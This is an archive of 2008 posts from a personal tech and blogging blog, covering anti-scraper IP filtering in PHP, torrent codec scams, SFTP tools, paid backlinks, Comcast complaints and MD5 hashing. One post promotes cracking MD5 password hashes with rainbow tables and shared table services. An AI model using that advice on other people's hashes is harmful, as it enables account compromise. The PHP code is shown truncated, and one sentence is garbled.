To download and read more about Sysinternal’s TCPView, click here to visit the official page.

This free utility is definitely going into my permanent arsenal or Windows tools. Are you aware of any free tools that provide similar features? Take the time to share your suggestions in the comments, I’d love to read about ‘em.

Defeat Spam Blogs With IP Based Content Delivery

Guy Patterson — Wed, 05 Mar 2008 00:14:38 +0000

The majority of bloggers are forced to deal with spam blogs (splogs, aka scraper blogs), and even though a variety of counter measures exist, they just don’t seem to do the trick. Most of the time, splogs will scrape only an excerpt from the post, making the permalink at the bottom of the post useless. Some harvesting software is even smart enough to strip out these attempts at foiling the scrapers, so what’s a blogger to do? Today, I introduce a way to deliver entirely different content to these spammers via IP based content delivery.

First Things First

In order for this to work, we’ll need a list of IP addresses that known offenders use. For your convenience, I’ve compiled this massive list of 5,780 offending IPs (I highly recommend you use your own unique list compiled from your own server logs). Copy those IPs and save them to your server’s root directory with a filename of your choice. Remember the filename, you’ll need it in just a second. Now that you’ve got your enemy plotted, lets get to the code.

Backup, Modify, Test

Backup your theme’s single.php to single.post.original.txt or something of your choice. Now, open up single.php with a text editor and insert the code below at the very top of your single.php file.

Please note: I take absolutely no credit for this code. The original source is located here.

 "" ) {
$max = str_replace("*","999",$line);
$min = str_replace("*","000",$line);
}
if ( strpos($line,"?",0) <> "" ) {
$max = str_replace("?","9",$line);
$min = str_replace("?","0",$line);
}
if ( $max == "" ) { continue; };
if ( strpos($max," - ",0) <> "" ) {
$split_it = split(" - ",$max);
if ( !preg_match("|\d{1,3}\.|",$split_it[1]) ) {
$max = $split_it[0];
}
else {
$max = $split_it[1];
};
}
if ( strpos($min," - ",0) <> "" ) {
$split_it = split(" - ",$min);
$min = $split_it[0];
}
$split_it = split("\.",$max);
for ( $i=0;$i<4;$i++ ) {
if ( $i == 0 ) { $max = 1; };
if ( strpos($split_it[$i],"-",0) <> "" ) {
$another_split = split("-",$split_it[$i]);
$split_it[$i] = $another_split[1];
}
$max .= sprintf("%03d",$split_it[$i]);
}
$split_it = split("\.",$min);
for ( $i=0;$i<4;$i++ ) {
if ( $i == 0 ) { $min = 1; };
if ( strpos($split_it[$i],"-",0) <> "" ) {
$another_split = split("-",$split_it[$i]);
$split_it[$i] = $another_split[0];
}
$min .= sprintf("%03d",$split_it[$i]);
}
if ( ($ip <= $max) && ($ip >= $min) ) {
$found = true;
break;
};
}
return $found;
};
$status = chkiplist($_SERVER['REMOTE_ADDR']);
?>

Ok, now what? Change the third line so the filename you saved your IPs to is specified, then look for:

Immediately before that line, add something similar to the following:


Hey, thanks for scraping my post:



Click here to see the site this content was stolen from!
 
Original Source:

The spam bots will see this:

Hey, thanks for scraping my post:

Defeat Spam Blogs With IP Based Content Delivery

Click here to see the site this content was stolen from!
The majority of bloggers are forced to deal with spam blogs
(splogs, aka scraper blogs), and even though[...]

Defeat Spam Blogs With IP Based Content Delivery

Original Source:

www.nullamatix.com/defeat-spam-blogs-with-ip-based-content-delivery/

We’re not done yet. To prevent any PHP errors, you’ll need to add this:

immediately after:

The whole thing, minus the chkiplist() function defined above, should look something like this:



Hey, thanks for scraping my post:



Click here to see the site this content was stolen from!
 
Original Source:

To test everything out and make sure your blog is up and running properly, just visit a post like you normally would. If the content is displays as usual, you’re good to go. To test the scraper’s view, just add your IP to the list of known spammers. The script above also supports wildcards, among other variations. Check out the original source mentioned above for more details.

To Conclude…

This won’t immediately work on every new splog that comes out, but if you actively check your server logs, you can stop most of ‘em by adding the offending IP(s). Now for the real question: what other purposes might this nifty little script serve? Just use your imagination - there is a hidden agenda behind this entire post

Yet Another Reason To Avoid Torrents

Guy Patterson — Sun, 02 Mar 2008 00:09:36 +0000

Torrent freak, an authority in the popular torrent craze, has published a post entitled, BitTorrent Rip Off Sites, and How to Avoid Them. With the ongoing issues of Comcast forging packets, the RIAA and MPAA ruining people’s lives, this is another reason to avoid public torrent trackers.

Some Torrents Provide False Hope

A large percentage of torrent users have downloaded falsely labeled movies only to end up with a password protected .rar archive. Conveniently, the password is no where in the readme, or the nfo. Instead, users are instructed to visit an affiliate (CPA) site and fill in their email address in order to receive the archive’s password. The password never comes, nor will the enjoyment one might have experienced had they been able to watch the movie.

Out With The Old & In With The New

The new plague haunting torrent sites is pretty nasty and will probably earn the malicious persons way more cash in the end. Here’s an excerpt from TorrentFreak,

“This particular brand notifies people who try to play a video file they’ve just downloaded that they need to download a codec if they want to play the file. The site they are redirected to is of course a scam, most of them are filled with annoying ads.“

Annoying ads aside, the codec that’s required to play the movie is the big earner. Most of these pay per install (PPI) sites pay up to a dollar, if not more, every time an affiliate gets the company’s software installed. Twenty torrent sites at an underestimated download count of twenty downloads per site is $400. To double that, upload 2 torrents to all twenty torrent sites. Not everyone has the same standard of living, obviously, but I could easily manage on $400 a day.

Let’s Take This One Step Further

Not only does the torrent’s unloader earn a dollar for every codec installed, but say they also included a custom written bot to add your network into their collection of botnets. Your network is now operating as a spam relay, a seeder to help spread their garbage torrents even more, an Adsense clickbot to make them even more money, and countless other malicious activities you’re probably unaware of. I’ve said it before, and I’ll say it again; torrents are bad news. And until these malicious pricks learn to respect their fellow humans, gain some integrity, establish some morals, and redefine their ethics, BitTorrent is a protocol I’ll continue to stay away from.

SftpDrive: A Must Have Utility For Web Designers

doz — Fri, 29 Feb 2008 19:11:19 +0000

If you maintain a website that’s hosted on a Linux server, you’re aware the process of editing pages locally and uploading them to the server is often a hassle. Most server administrators run an ftp daemon to enable file transferring. Some of the file types a client may transfer include, but aren’t limited to: images, style sheets, server side pages, and html.

Running an ftp daemon just to accomplish this is not only a waste of precious system resources, but an added security risk as well. A great tool that seamlessly integrates into Windows and avoids a lot of the hassles involved with FTP clients (and daemons) is SftpDrive.

SftpDrive is a Windows based utility that takes advantage of the SSH daemon that either your server, or your hosting company’s server should have available. Not only that, but it’s a breeze to setup.

Once configured and connected, SftpDrive produces a “mapped network drive” under My Computer. Whenever data is sent to or from this mapped network drive, it’s transferred through SSH and fully encrypted from point to point.

To use SftpDrive, just open either Windows Explorer or My Computer, then drag and drop locally stored files from your Windows machine to the /home/user directory of the Linux Server. Files can then be copied to the /www directory or whichever directory your site’s content is stored in. SftpDrive is so configurable that you can share either the entire root directory of the server, or just a custom directory of your choice.

The ability to reconnect at Windows login (startup) is an added bonus that assures you’re connected to the server every time you fire up the PC. Uploading content and maintaining pages are just a drag and drop away. With the simplicity of operability, and the added security, this utility should be a must for any web designer using a Linux server, you’ll thank me later.

How to Earn 300 EntreCard Credits in 20 Minutes

Guy Patterson — Fri, 29 Feb 2008 13:40:38 +0000

Nothing really special in this post other than a list of sites that display their Entrecard widget above the fold, all of which are conveniently organized by average load times. How awesome is that? Before I share the URL, I’d like to thank Walt from 365tofreedom.com. He’s the genius that came up with the idea and made it happen. I wish him luck with his Internet marketing journey (he’s trying to quit his day job, hence the domain 365 To Freedom) during 2008, but will probably ask him to stop auto-spamming my posts with comments about his ebook or whatever it is. For now, my rusty muffler is doing just fine, Walt. Midas said so.

Entrecard Power Dropping

Anyway, visit http://www.powerdropping.com (now defunct) to start earning 300 Entrecard credits in 20 minutes or less. Based on my research, this is the fastest way to rack up Entrecard credits. Someone needs to figure out how to use iMacros or something to make this whole thing automated. 300 Entrecards in 5 minutes or less sounds much better.

Link Juice is Awesome

Wow, so after reading Walt’s entire post about PowerDropping.com, I realized he’s returning the favor to bloggers who blog about the project. There’s no doubt in my mind that if Walt continues churning out ideas like this, he’ll have the ability to quit his job before 2008 is over. He’s already had great success, and even though he’s no longer regularly posting on 365tofreedom.com, I wouldn’t mind seeing future monthly earnings reports. Good luck, Walt.

Nullamatix.com Reorganization

This doesn’t have anything to do with Entrecard, but I just wanted to let my readers know that over the next couple days I’ll be working on reorganizing Nullamatix. Early in Nullamatix’s life I made the mistake of converting the short list of easy to manage categories to tags. What a nightmare that’s been. The tag list has grown out of control and is just plain silly.

Also, if you’d like some link juice for your site, feel free to submit a guest post, or send in your site for a free review. Finally, if you haven’t already, consider subscribing to the full Nullamatix.com RSS feed. Why? You’ll never miss an update, your chances of learning something useful increase substantially, and it’d make me happy.

5 ‘Make Money Online’ Blogs Worth Subscribing To

Guy Patterson — Thu, 28 Feb 2008 15:39:49 +0000

Most of the “make money online” blogs that exist today are repetitious. There’s no fresh or innovative ideas, no creativity, just the typical regurgitated non sense you’re probably use to seeing. However, throughout my journey I’ve come across some no BS blogs that really provide a lot of value, and no, I’m not talking about John Chow and Shoemoney, those two are tools. I typically prefer to keep my resources to myself (unless asked directly), but today I’m feeling generous, so enjoy.

Affiliate Confessions by Alan LeStourgeon

Last night I was trying to recall where I discovered this blog. The archives indicate an age of just a few months, but there’s enough information here that anyone who visits this site and doesn’t end up subscribing is just silly. One unique quality I particularly find useful about Alan’s blog is the amount of research he performs and shares. A popular example is his Massive Entrecard Advertising Experiment, and the update provided a few days later. Alan has a lot to offer, and despite being so young (the blog, that is), he’s definitely on to something.

Court’s Internet Marketing & Strategy Blog

I’m not sure why I’ve never come across Court’s blog before, but this guy has some really awesome info. For the beginners, there’s an excellent getting started section that clearly explains how to make money blogging. But don’t let that fool you, Court also touches on some pretty heavy stuff for the veteran Internet Marketers, too. Stop by and take a look, you’ll be surprised. Oddly enough, as I was browsing the archives, Court also published a similar list of 5 Emerging Make Money Online sites. Court’s blog is well organized, easy to navigate, has loads of extremely useful information, and is definitely a blog worth subscribing to.

Make Money Online With Blogger Unleashed

Despite not being updated since February 8th, Blogger Unleashed still provides some valuable information. I will say that I’m not very fond of the cut-off RSS feeds (come on man, give us the full deal), or the fact that every post contains the word “Folks.” However, there’s some pretty interesting ideas worth experimenting with. For example, check out his post about baiting and switching, or one of my favorites, Viral Marketing Ideas. Vic may come off as a jerk in his writing, but why complain when he’s giving up such great ideas? Hopefully he’ll continue writing; I’d hate to remove his blog from my subscriptions.

Daily Blog Tips - Effective Blog Improvement

Sometimes making money isn’t about Adsense or Affiliates, but ways to improve your blog to increase traffic & revenue. Daily Blog Tips provides excellent information that every blogger should know. One of the many tips provided is a way to increase the amount of comments your blog receives by simply making it easier for your visitors to comment. Another funny and innovative idea to increase traffic was presented in this post, which I’ve been meaning to take advantage of myself. Finally, Daily Blog Tips is just awesome as a result of the creative people involved (Skellie is one of my personal favorites; check out her latest entry here). Hopefully this blog will continue churning out creative and useful ideas for years to come.

PowerDosh by Daniel Harrison

PowerDosh is another new blog with some pretty creative content. Daniel shares a variety of realistic money making ideas, goal setting strategies, experiments, and personal progress. One of the ideas he’s currently experimenting with is building residual income with mini sites. Again, I prefer full length RSS feeds which is something I hope to see from PowerDosh in the future, but most of the time I’ll usually end up clicking the continue reading link to finish reading the post. Daniel expands on the idea of building backlinks with SEO friendly directories, and provides several useful tips for brand new Wordpress blogs. Whenever I check my feeds, PowerDosh is definitely a blog I hope to see an update from.

If you’re interesting in having your site listed in a future showcase similar to this one, check out my web site review opportunity.

One of a Kind: The Multiline MD5 Hash Generator

Guy Patterson — Wed, 27 Feb 2008 23:22:16 +0000

Because sometimes those single line MD5 hash generators just aren’t efficient.

What’s a Bulk MD5 Hash Generator?

The concept of the batch MD5 hash generator is simple. Let’s say you have a list of values: names, addresses, telephone numbers, URLs, whatever, it doesn’t matter, and you’d like to convert each of those values to MD5 for whatever reason; then the official Nullamatix.com Bulk MD5 Hash Generator is exactly what you need. Really, it’s easy. Just drop your data into the text box and click submit. The script will then convert each line into the corresponding MD5 hash.

The Story… (really boring stuff)

This project started when one of my superiors asked for a way to identify, tag, and associate IT equipment with individual employees during an upcoming disaster recovery scenario. Since I’ve been playing with Rainbow Tables lately, I thought to myself, “Why not take their names, add a number, and convert the clear text values to MD5?” After wasting nearly an hour searching Google for a multiline MD5 hash generator, I decided to give up and write my own. So I wrote the script and presented the converted list to my superiors. They laughed and said the idea was a little more than what they were looking for. Well I thought the concept was awesome, and because I couldn’t find this utility anywhere else, I’ve thrown together a web interface and released it to the Internets.

Consider The Following:

A new line (enter key) by itself returns:
d41d8cd98f00b204e9800998ecf8427e
Wordpress auto converts consecutive new lines to “
”
Results are displayed underneath the submit button.
There are plans to integrate ajax.
The maximum input value is currently limited to 500 characters.
Input should follow the same format demonstrated in the textarea.
Bugs - Please Report Them

Click here to start using the Nullamatix.com Multiline MD5 Hash Generator.

Nullamatix Gets a Facelift, and There’s More on The Way

Guy Patterson — Wed, 27 Feb 2008 14:08:03 +0000

Alan over at Affiliate Confession decided to announce the release of his new theme, something I didn’t even think to do here on Nullamatix. After thinking about it, I don’t even remember when the theme was applied, so I’m guessing either thiwww.entrecard.comr the new theme over the old one, but the majority of people are also liars (no one take that personally, just some indirect, very general, brutal truth). Anyway, some good old-fashioned honest comments, suggestions, likes and dislikes would be fantastic and greatly appreciated.

Just to mention some of the changes: completely new (unique?) color scheme, there’s a new logo/header, the useless Blogrush widget is gone after 20,000+ impressions and sending only 27 visitors (what a joke), the Entrecard widget is above the fold for easier dropping, finally, the tag cloud and monthly archives are now located in the footer. Again, comments & suggestions are encouraged.

Lately I’ve been diligently working on a number of both personal and work related projects. One of my personal projects involves some PHP, so if anyone fluent in PHP is interested in collaborating on a project, just comment with your email address and I’ll get in touch with you. The concept is really simple, and the backend is already functioning; just need to throw up a web interface (textarea) to pass information into the array and the tool is done. PHP [obviously] isn’t one of my strong points, but hopefully this little tool will be ready by the end of the week. The idea came after thirty minutes or more of searching Google. I was unable to find an online tool, or binary application that would perform the task this little utility does. Hopefully it’ll serve a purpose for others, too.

That’s all there is for now; I’m going to continue working on this utility so stay tuned.

TNX.Net - A Helpful Resource, or Potential For Disaster?

Guy Patterson — Sun, 24 Feb 2008 18:20:12 +0000

The majority of webmasters are aware that in order to rank high in search engines, permanent backlinks are required, and TNX.net provides just that. In this post I’ll elaborate on the ins and outs, the pros and cons, and whether or not TNX.net is a service worth allocated resources to.

Initial Thoughts

Overall, the site has an appealing look, a little too graphical and cluttered for my taste, but the intentions and services provided are clearly outlined. Webmasters have the opportunity to sell backlinks and advertisers can purchase backlinks. A simple concept, but TNX provides an added twist. After creating an account and signing in, the user control panel is far from user friendly. Since I’m a little slow, figuring out how to get started as both a publisher and an advertiser did take some time. Links are purchased with TNX Points which you can earn by selling links on your sites, or by simply purchasing via paypal. The campaign creation tool is very powerful and is destined to aid any webmaster trying to rank for a certain term. Again, the layout and design structure isn’t appealing [to me], but the services offered are priceless.

To Elaborate on The Design

As you might have guessed based on this web-site’s design, I prefer simplicity over aesthetics. If you’re an avid remote desktop user, TNX requires some patience as a result of the graphics. Personally, I’d like to see an imageless TNX that offers less fluff, and greater usability. One of the interface options I particularly like is the left side menu options, which clearly displays what you’re capable of doing.

As a Webmaster

The first step to earning some free TNX points is to add their code to an existing web-site(s). Once the PHP code is added, you’ll have the ability to add your web-site to the TNX database and start earning points. I, like many others, find the TNX crawler to be very slow. One of my sites (which has over 10,000 pages indexed in Google) hasn’t been indexed by TNX, yet. I’m estimating it’s been over four, maybe five days since adding the site for inclusion, and still nothing. On the other hand, one of my other sites has over 10,000 pages included in the TNX database, which is impressive.

Of those 10,000 pages, 942 people have purchased links on them which has earned me a few thousand TNX points for putting toward a campaign of my own. I also have the option of selling these points for some cash, which is a great way for webmasters to put dormant sites to work.

As an Advertiser

The advertising features of TNX are the real selling point of this project. Ad campaigns are created based on a selection of categories, the number of yahoo backlinks a site has, and the site’s Google pagerank. The more categories, backlinks, and higher pagerank sites selected mean spending more points per month. Mathematically the cost per link is worth the investment, but since I’m a cheap ass, the cost per month can become pretty steep. Here’s an excerpt from their site:

For example, for 20,000 points you can purchase up to 20,000 links from pages with PR 0 or up to 100 from pages with PR 3.

20,000 points is about $27 dollars a month, but again, $27 dollars a month for 100 PR3 links works out to $0.27 per link, which is well worth the investment. This information doesn’t really coincide with the actual results their web-site provides when setting up a campaign. Perhaps I’m missing something, but here’s a screen shot from the campaign creation process. I’ve selected 6 categories, sites with 0 to 250,000 yahoo backlinks, and pages with a Google PR of 3. According to the system, these conditions will purchase 5 backlinks for 10,000 TNX points, or $13.40 a month. That’s still a reasonable price of $2.68 per month for each PR3 link.

Once the conditions for link placement and determined, the next portion involves creating your links. The advanced generator is a life saver and the real essence that makes me believe this project really works. I’m not going to elaborate on how this portion of the campaign process works, but believe me, it’s awesome. Finally, once the third step is completed, newly created campaigns are sent to a moderation queue for approval. This prevents ad campaigns setup for sites against the terms of service: pharmaceutical and other medical topics, gambling, multi level marketing, pyramids, and prostitutes.

One feature I’d like to see added, unless I’m just blind and couldn’t find it, is the ability to modify a campaign’s settings. To elaborate, the ability to modify the pagerank requirement, number of yahoo backlinks, and anything else initially defined during the campaign setup. The TNX developers probably already thought of this and have their reasons for not including such functionality.

TNX.net - The Bottom Line

TNX.net presents a great opportunity for webmasters to earn money, and for advertisers to get some natural looking backlinks. The rumors of Google cracking down are already spreading like wild fire, but I’ll continue using the system until they do. The support forums are extremely useful, and finding an unanswered question is difficult. Again, redesigning the site to provide a more clear-cut and less “pretty” design is something I’d like to see.

TNX is still in beta, but if you’d like to sign up and start taking advantage of the benefits this program has to offer, click here to get started.

Internet and Computer Networking Security Tips

Guy Patterson — Sat, 23 Feb 2008 22:20:39 +0000

Note: This is a guest post by Scott Hughes, administrator of Philosophy Forums.

For most experienced computer users, basic security is common sense. Computer professionals and computer geeks usually know how to protect their computer and privacy. But most people who use computers regularly still do not seem to take even the most basic steps at securing their computer. These people seem to just count on the OS (usually Windows) to have built-in features to protect them, but that will not work. Let me explain some basic but important ways to secure your computer while connected to a network or the internet.

Firewall

Firstly, you need a firewall. A firewall secures your computer by enforcing rules on both outgoing and incoming connections. I prefer to have a firewall that will grant access on an application by application basis, and I prefer advanced modes that ask me about each application when they try to connect. A firewall will protect you from external threats as well as internal threats because it can stop malicious programs on your computer from connecting to the internet or sending out private data. That can protect you from spyware and identity theft. There are many free firewalls available. I personally like Comodo the best.

Anti-Virus and Anti-Spyware Programs

Most people know to use these. But I would not count on whatever comes preinstalled on your computer, especially since most of those will only offer a trial version and will just try to sell you on the real copy. Instead, I would find a free alternative. Sometimes I prefer to install more than one of these programs so that I can run both to decrease the chances of a viruses slipping through. But it is important to remember that they may cause conflicts.

Browser Security

If you use Internet Explorer, then you will want a copy of HijackThis to monitor programs that have modified how Internet Explorer runs. However, I personally recommend that you do not use Internet Explorer. It is notoriously insecure. Firefox has a much better reputation regarding security. Besides, Firefox can be uninstalled from a Windows computer if it starts causing problems. In contrast, you cannot uninstall Internet Explorer if it gets hijacked. Firefox is free, open-source, and is more frequently updated.

Those are just some basic ways to make your computer more secure over the Internet or a network. Computer security is very important, and it is easier to prevent compromises than it is to undo them later.

Scott Hughes, the author of this post, is a webmaster, online business owner, political activist, and writer. Scott also maintains philosophy discussion forums, a great place for some intellectually stimulating conversation.

Howto: Run Multiple Poor Mans BANS Sites Using 1 Wordpress Installation

Guy Patterson — Sat, 23 Feb 2008 22:07:46 +0000

Note: This is a follow up to the original Make Money With a Poor Mans BANS (Build A Niche Store) post. If you haven’t read that post, please do so before continuing with this one.

Robert made a fantastic suggestion in the original Poor Mans BANS post. After deploying several Poor Mans BANS sites, maintaining and upgrading each site soon became a cause for concern. Thanks to Robert’s suggestion, that’s no longer an issue.

Here’s an excerpt from the post Robert kindly shared:

Stephen Rider [striderweb.com] has released a modification for WordPress that allows you to run multiple blogs off of a single WordPress installation.

See where this is going? This awesome modification has an easy to use configuration system that enabled me to convert all of my Poor Mans BANS sites over to a single Wordpress installation in less than 10 minutes. Here’s a run down of the details and steps involved.

Before - 5 domains, 5 separate Wordpress installations

www.domain-1.com --> /var/www/domain-1.com/http/

www.domain-2.com --> /var/www/domain-2.com/http/

www.domain-3.com --> /var/www/domain-3.com/http/

www.domain-4.com --> /var/www/domain-4.com/http/

www.domain-5.com --> /var/www/domain-5.com/http/

After - 5 domains, 1 Wordpress installation

www.domain-1.com --> /var/www/virtual-press/http/

www.domain-2.com --> /var/www/virtual-press/http/

www.domain-3.com --> /var/www/virtual-press/http/

www.domain-4.com --> /var/www/virtual-press/http/

www.domain-5.com --> /var/www/virtual-press/http/

5 domains, 1 folder to maintain, perfect. So here’s how it’s done. First, download the mod from Stephen’s web-site. Extract the contents of the archive to the base (core) Wordpress installation /wp-contents/ folder.

You should now have something similar to:

/var/www/virtual-press/http/wp-contents/multiblog/

Inside the /multiblog/ folder is another directory labeled config. This is where the magic happens.

Open up the file config/mb-users.php in your favorite text editor. A vusers[] entry is needed for each domain you intend on serving from the single Wordpress install. Here’s an example mb-users.php file:

So far so good, right? Now, open up config/mb-config-sample.php. The contents of this file should look familiar to Wordpress users. Insert the database information for domain-1.com and save the file in the following format:

mb-config-domain_1_com.php
If the domain was www.elite-ebay-power-seller. com, you must save the file like this:
mb-config-elite_ebay_power_seller_com.php

If you’re unable to use these examples to determine what’s right for your domain, let me know in the comments below and I’ll try to help out. Repeat this process for all your domains. Based of the conditions outlined in this post, the /wp-content/multiblog/config/ file listing should now look like this:

mb-config-domain_1_com.php
mb-config-domain_2_com.php
mb-config-domain_3_com.php
mb-config-domain_4_com.php
mb-config-domain_5_com.php
mb-users.php
mb-autoconfig.php

Ok, we’re almost done. The last step is updating your http daemon’s settings. You must tell your http server to point all those domains to the base Wordpress directory.

Here’s how this is accomplished with Lighttpd (lighttpd.conf):

$HTTP["host"] =~ "www.domain-1.com|www.domain-2.com|etc..|etc..." {

server.document-root = "/var/www/virtual-press/http"

}

Restart your http daemon so the new settings will take effect. If all goes well, your sites should function properly with the exception of maybe some plugins and themes. This is easily resolved by copying them over from the original document root to the new base installation (which is the new document root).

In my case, a couple of my sites used the same theme but with a different header/logo. To prevent domain-1.com from displaying domain-2.com’s logo, I simply made a copy of the theme to isolate the files.

/var/www/virtual-press/html/wp-content/themes/themeA-domain1.com/

/var/www/virtual-press/html/wp-content/themes/themeA-domain2.com/

Login to the admin panel and select the appropriate theme for the domain. This will keep your Analytics, Adsense, and graphics in order. That’s it!

My gratitude goes out to Robert for sharing this wonderful modification and Stephen for writing it. If you enjoyed reading this post and would like to read more like it, please consider subscribing to my full length RSS feed. And as always, comments are encouraged.

U.S. Internet Service Providers Should Be Ashamed

Guy Patterson — Fri, 22 Feb 2008 15:38:16 +0000

The majority of Internet users are aware of what’s going on with Comcast and their throttling practices, the idea of a tiered and non neutral Internet, immunity to the telco’s for warrantless wiretapping, and countless other crimes that go completely against the principles this country was founded on. But what most people don’t know is that the United States is far behind in their Internet infrastructure, which might explain why Internet service providers are so upset about people actually using the Internet. Instead of implementing their network infrastructure properly the first time, they probably went with the ~~most cost effective~~ cheapest, and fastest solution. And by fastest, I don’t mean downstream.

Here’s a screen shot from my buddy in Korea:

Yea, that’s 3,434.2 kilobytes a second, or 3.35 megabytes a second. This is common in many foreign countries, but not the U.S.

As far as I’m concerned, United States Internet Service Providers have no business complaining, for any reason. If anyone should be upset it’s U.S. citizens. Comcast, Time Warner and all these other multi million (billion?) dollar corporations are complaining because people are using peer to peer technology to communicate and exchange information. Well excuse me, isn’t that what the Internet was designed for?

After seeing this screen shot, how do your download speeds compare? Share your thoughts via a comment.

Is Comcast Blocking More Than Just Torrents?

Guy Patterson — Thu, 21 Feb 2008 13:46:21 +0000

Although I’ve yet to compile any concrete proof, recent indicators have made me wonder whether or not Comcast is filtering more than just torrent traffic. Since implementing the steps outlined in this post, Comcast has actually been pretty tolerable, until recently. In an effort to establish a godly Rainbow Tables collection, I’ve started using torrents for the first time in probably a year. After the first day or so, ssh and remote desktop sessions would randomly terminate. GMail’s built in chat interface would throw an error explaining, “We’re experiencing technical difficulties, please try again later…” But I seriously doubt GMail was the one experiencing technical difficulties.

For some unknown reason the security portion of my event viewer is blank, so that won’t work. Here’s the grepped contents of my Linux server’s auth.log file instead.

Feb 17 07:09:13 nullamatix sshd[9647]: Accepted password… Feb 17 08:26:58 nullamatix sshd[17921]: Accepted password… Feb 17 08:27:59 nullamatix sshd[19837]: Accepted password… Feb 17 08:31:00 nullamatix sshd[16049]: Accepted password… Feb 17 08:34:43 nullamatix sshd[5278]: Accepted password… Feb 17 08:38:52 nullamatix sshd[7646]: Accepted password… Feb 17 08:42:09 nullamatix sshd[7248]: Accepted password… Feb 17 08:57:06 nullamatix sshd[27953]: Accepted password… Feb 17 10:19:36 nullamatix sshd[5956]: Accepted password…

The problem, as you can clearly see, finally stopped at around 10am. But how convenient, that’s after my torrent downloads had been stopped for a few hours. For now, I’ll give Comcast the benefit of the doubt and assume they were doing one of the following:

1) Hardware upgrades and/or maintenance

2) Software upgrades and/or patches

3) Network infrastructure upgrades and/or maintenance

Even if one of these assumptions are true, why wouldn’t Comcast send out an email saying connectivity issues might arise between 7am and 10:30am? Isn’t that what good network administrators do? Many customers depend on their Internet connection for a number of reasons, and whenever maintenance is scheduled, the least Comcast could do is tell their customers. This would reduce the incoming call load to their alleged 24 hour customer service centers, and give customers time to prepare for outages. I’ve said it before, and I’ll say it again. Over the last three or four years as a Comcast customer, I’ve never heard a Comcast employee admit that the problem was on their end, despite having undeniable proof. Here’s how a recent conversation went…

Guy: Hey, I’m having some intermittent connectivity, is there an outage or some sort of maintenance going on?

Comcast: Let me have a look sir, what’s your phone number, blah blah, etc, etc … ? *pause* Nope, nothing going on in your area. Have you tried power cycling your modem, sir?

Guy: Yes. I’ll obtain and IP and everything will appear fine for a few minutes, but then everything just starts timing out. All my active connections are terminated, and after a few seconds or a minute or two, everything comes back on line. Are you sure there isn’t any maintenance going on in my area?

Comcast: Let me update my screen and have a look here… (10-15 seconds go by). No sir, nothing in your area, and everyone else’s Internet seems to be working. I’m going to go ahead and schedule a technician to come out and take a look for you. When’s good for you?

Guy: Look, I’m not taking more time off work to have your tech tell me something I already know. My Internet works fine for extended periods of time, but at occasional random intervals, it’s becomes either completely unavailable, or shows symptoms of severe packet loss. This house was rewired less than two years ago, and in those two years there have been at least 4 techs in my house, yet the problems continue.

Comcast: I’m sorry to hear that Mr. Patterson, some of our techs work in the evening until 9pm if that’s more convenient for you.

Guy: No, it’s not. What I find unusually strange is that you guys really have absolutely no idea what the hell’s going on and who’s doing what where. Prior to calling you, I pulled into my neighborhood and noticed there were two Comcast labeled vans, a white sedan, and four men standing around looking at one of your larger nodes. You know, those big green boxes that may occasionally need some work? Please, either tell me again that there wasn’t any scheduled maintenance, or those men weren’t from Comcast.

Comcast: Well sir, I’m located in South Florida, so I have no way of knowing that.

I hung up after hearing that. One of the largest broadband providers in the United States doesn’t have a centralized ticketing system? Why was I lied to initially? This is turning into a rant, so I’ll leave you with something to ponder. Here’s an excerpt from an article I recently read.

Just about every big phone company has filed a statement challenging the FCC’s authority to deal with this problem. AT&T, Verizon, and Qwest all submitted lengthy remarks on February 13th

Why do these big corporations even have the ability to challenge the FCC? Is the FCC not a government entity? Since when do corporations have the authority to influence decisions made by the government? What’s the old saying, “By the people, for the people?” Something just doesn’t add up…

Have you ever encountered similar situations of random, unannounced loss of connectivity? Feel free to share your experience in the comments.

Need To Decrypt an md5 Hash? Try Some Free Rainbow Tables

Guy Patterson — Mon, 18 Feb 2008 18:07:12 +0000

If you’re like me, remembering fifty or more unique passwords is sometimes frustrating. I refuse to use any sort of password management system, and writing them down defeats the purpose of even having a password. Some prefer using the same password for everything, but if one account is compromised, the rest will probably soon follow. The most recent circumstance for me was a forgotten vBulletin admin password. Since reinstalling wasn’t an option, that left me with the option of manually updating the database, which didn’t work. Ok, so now what? Crack the md5 hash with Rainbow Tables.

Why Use Rainbow Tables?

Rainbow Tables, compared to brute forcing, is much faster. The time consuming part is actually generating the tables used to run decrypted hashes against, but once generated, they’re good forever. The Rainbow Tables project page provides a lot of instructions and configuration examples. One of the tables was able to crack the following passwords in only a few minutes.

N73k_a7()TUBoK

PrFa$=ptRcb^__ z

%G)r*EW&2nk#

cjST$=W0U*-5CH

(zw= ijV$i*vEX

How rad is that? Table generation can take days, even weeks, and will consume pretty large quantities of hard drive space depending on the configuration options, but there is an alternative.

Collaborative Rainbow Table Generation

Similar to the SETI project, Free Rainbow Tables is a distributed rainbow table generation project that combines the computing power offered by members. Once registered, the free client will put your CPU to work by generating chains for the project. In return, members are able to use the 100+ gigabytes worth of tables for their own decryption needs. The online system makes submitting your encrypted hashes easy, and the hash management portion of the site lets you know when your hash is being searched for. Surprisingly, the success rate for decryption is pretty low with 11,523 (47%) hashes at the time of writing. But this is definitely something worth having in your arsenal when used with locally generated tables.

As of right now I’m approaching 10 gigabytes worth of locally stored tables. If you’re interested in exchanging tables, just let me know via comment or email.

The Web 2.0 Version of Firefox vs. Internet Explorer

Guy Patterson — Sat, 16 Feb 2008 03:56:53 +0000

Before Firefox was even thought of, the Internet was plagued with thousands of sites proudly displaying browser recommendation icons. You remember them, right? The classic phrase, This Site Works Best With Internet Explorer and similar variants encouraging the use of Netscape. With the release of the w3 web development standards, many webmasters hoped to put an end to this meaningless nonsense. Well, here we are, years later, and nothing’s changed. In fact, some are saying the situation has only intensified.

WildBill published a post in 2006 with a picture of a roadside billboard advertising Ubuntu, which happened to land on the Digg front page a couple days ago. Even though I don’t necessarily agree with the statement, “It’s just great to see the World’sGreatestOS(TM) publicized” (Debian pwns j00), seeing Linux out in the open like that was pretty refreshing; at least until I started reading visitor’s comments.

The fourth comment initially had me confused.

Please don’t hate on IE so much, not everyone has a choice in what browser they use.

If you read WildBill’s post, you should have noticed a reference to Internet Explorer doesn’t exist. Not thinking anything of the unusual comment, I continued reading to comment 16.

Linux is for the home and server room. Desktop users have no choice as Linux sucks in the desktop. So how can IE users appreciate your billboard if you block them?

Linux sucks in the desktop? I can’t help but smile at that statement, how naive. Anyway, time to look at some source code. WildBill installed a script that prevents Internet Explorer users from seeing his site - genius! After consulting a few highly regarded sources and performing a sequence of calculations, I came up with this interesting formula.

Digg Effect + No Viewing for IE Visitors = Cry Me A River Party.

Please, someone call the whambulance. Respect to WildBill for not caving in to these whiners - here’s his reply.

